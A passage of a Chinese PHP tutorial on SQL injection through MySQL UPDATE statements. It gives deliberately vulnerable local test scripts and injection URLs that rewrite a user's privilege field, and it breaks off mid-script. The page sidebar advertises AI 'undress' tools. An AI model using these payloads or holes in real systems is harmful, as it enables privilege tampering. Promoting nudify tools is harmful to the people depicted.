search
Homephp教程php手册UPDATE注射(mysql+php)的两个模式

一.测试环境:

  OS: Windowsxp sp2

  php: php 4.3.10 (

  mysql 4.1.9

  apache 1.3.33 

  二.测试数据库结构:

-----start---

-- 数据库: `test`

-- 

-- --------------------------------------------------------

-- 

-- 表的结构 `userinfo`

-- 

CREATE TABLE `userinfo` (

`groudid` varchar(12) NOT NULL default ’1’,

`user` varchar(12) NOT NULL default ’heige’,

`pass` varchar(122) NOT NULL default ’123456’

) ENGINE=MyISAM DEFAULT CHARSET=latin1;

-- 

-- 导出表中的数据 `userinfo`

-- 

INSERT INTO `userinfo` VALUES (’2’, ’heige’, ’123456’);

------end-------

三.测试模式:

  1,变量没有带’’或""[MOD1]

<!--p <--><br>
            //test1.php Mod1 <br>
            <br>
            $servername = "localhost"; <br>
            <br>
            $dbusername = "root"; <br>
            <br>
            $dbpassword = ""; <br>
            <br>
            $dbname = "test"; <br>
            <br>
            mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); <br>
            <br>
            $sql = "update userinfo set pass=$p where user=’heige’";//
            <br>
            $result = mysql_db_query($dbname, $sql); <br>
            <br>
            $userinfo = mysql_fetch_array($result); <br>
            <br>
            echo "
            <p>SQL Query:$sql</p>
            <p>"; <br>
            <br>
            ?></p>
            


  脚本里只是修改user=’heige’的pass,如果groudid表示用户的权限等级,我们的目的就是通过构造$p 来达

  到修改groupid的目的:

  那么我们提交:http://127.0.0.1/test1.php?p=123456,groudid=1

  在mysql里查询:
mysql> select * from userinfo;

+---------+-------+--------+

| groudid | user  | pass   |

+---------+-------+--------+

| 1       | heige | 123456 |

+---------+-------+--------+

1 row in set (0.01 sec)

用户heige的groudid又2改为1了 :)

  所以我们可以得到没有’’或"" update的注射是可以成功的,这个就是我们的模式1。

  2,变量带’’或""[MOD2]


//test2.php

$servername = "localhost";

$dbusername = "root";

$dbpassword = "";

$dbname = "test";

mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");

$sql = "update userinfo set pass=’$p’ where user=’heige’";//
$result = mysql_db_query($dbname, $sql);

$userinfo = mysql_fetch_array($result);

echo "

SQL Query:$sql

";

?>

  为了关闭’我们构造$p应该为123456’,groudid=’2 提交:

  http://127.0.0.1/test2.php?p=123456’,groudid=’1 在gpc=on的情况下’变成了’

  提交的语句变成:SQL Query:update userinfo set pass=’123456’,groudid=’1’ where user=’heige’

mysql查询:

mysql> select * from userinfo;

+---------+-------+--------------------+

| groudid | user  | pass               |

+---------+-------+--------------------+

| 2       | heige | 123456’,groudid=’1 |

+---------+-------+--------------------+

1 row in set (0.00 sec)


  groudid并没有被修改。那么在变量被’’或""时 就完全没有被注射呢?不是 下面我们看模式2:

//test3.php Mod2

$servername = "localhost";

$dbusername = "root";

$dbpassword = "";

Statement
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Article

Hot Tools

SublimeText3 Linux new version

SublimeText3 Linux new version

SublimeText3 Linux latest version

Safe Exam Browser

Safe Exam Browser

Safe Exam Browser is a secure browser environment for taking online exams securely. This software turns any computer into a secure workstation. It controls access to any utility and prevents students from using unauthorized resources.

VSCode Windows 64-bit Download

VSCode Windows 64-bit Download

A free and powerful IDE editor launched by Microsoft

PhpStorm Mac version

PhpStorm Mac version

The latest (2018.2.1) professional PHP integrated development tool

MantisBT

MantisBT

Mantis is an easy-to-deploy web-based defect tracking tool designed to aid in product defect tracking. It requires PHP, MySQL and a web server. Check out our demo and hosting services.